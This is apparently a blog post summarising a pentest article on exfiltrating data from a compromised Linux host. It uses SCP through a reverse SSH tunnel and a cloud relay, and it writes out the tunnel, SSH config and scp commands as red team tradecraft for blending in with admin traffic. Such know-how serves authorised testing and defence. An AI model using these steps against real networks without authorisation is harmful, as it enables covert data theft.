When you are on an internal and you’ve got a great foothold the last place you want drama is at the very end: getting the data out. That is exactly where Nathan Anderson’s latest post on the Raxis blog leans in, using SCP as a quiet, dependable workhorse for data exfiltration during internal and red team engagements.

Why SCP Deserves a Spot in Your Toolkit

Nathan’s post is part of Raxis’ Cool Tools series and focuses on using SCP as an exfil path that blends into common administrative traffic on Linux-heavy environments. SCP gives you encrypted file transfer, piggybacking on SSH, which is already one of the few ports that reliably egresses from corporate networks.

He frames the walkthrough around a realistic scenario:

• Admin-System: A Linux host you have compromised.

• A cloud Linux box acting as the public endpoint.

• Omni: A Linux box you are receiving data on.

It is a simple model, but it mirrors what we often do on tests: one internal foothold, one internet-facing VPS, and one trusted receiving host under our control.

Building the Path: Keys and Tunnels

The first half of the Raxis post is all about laying the plumbing before you push a single file. Nathan starts with SSH key pairs, generated on both the hacked box and the receiving host. Nothing fancy:

ssh-keygen

Follow the prompts, accept the defaults, and you now have an id_ed25519.pub that you can append into the cloud server’s ~/.ssh/authorized_keys file.

Next, he dials in the SSH tunnel from the receiving host back through the cloud server:

ssh -N -R 56600:127.0.0.1:22 user@cloud-server -i /path/to/private_key

Breaking that down:

• -N: no shell, just a tunnel.

• -R 56600:127.0.0.1:22: remote port forward from the cloud server’s port 56600 back to Omni ’s SSH on port 22.

• -i: points to the private key you generated earlier.

The important behavioral note: this tunnel has to stay alive for everything else to work, whether you run it in a tmux session, as a systemd service, or with autossh.

Making SSH Human-Friendly with Config

Rather than continuing to type out long SSH and SCP commands repeatedly, Nathan uses the SSH config file on the compromised host to define named functions for the cloud server and the receiving host. That is where this approach really becomes usable mid-engagement.

The structure looks like this at ~/.ssh/config on admin-system:

• Host Tunnel: a named profile for the cloud server.

• Hostname: FQDN or IP of the cloud server.

• User: SSH username on the cloud box.

• IdentityFile: the key you generated on the hacked host.

Then he defines Host Transfer:

• ProxyJump Tunnel: the key line that tells SSH, “go through Tunnel first and treat it as a proxy.”

• Hostname 127.0.0.1: from the cloud host’s perspective, Omni is reached via loopback because of the tunnel.

• User: username on Omni .

• Port 56600: the port you mapped in the remote tunnel earlier.

Doing the Fun Part: Exfil with SCP

With the keys in place and the tunnel plus config wired up, Nathan walks through single-file and directory transfers using the named host from the SSH config.

For a single file:

scp Raxis-Secret-Codes.txt Transfer:POC/

For A directory:

scp -r POC/ Transfer:POC/

Here, -r enables recursive copy so you grab the entire directory, contents, and structure in one shot. In Nathan’s example, 50 files move cleanly and quickly, which is exactly the kind of behavior you want when you are racing the clock at the end of an engagement.

Why This Matters for Pentesters

If you are a pentester looking to tighten up your tradecraft around data movement, Nathan’s write-up on the Raxis blog is worth a read. It walks step-by-step through the exact commands, screenshots, and explanations behind this workflow, and is part of a broader Cool Tools series that covers other exfil options like Croc as well.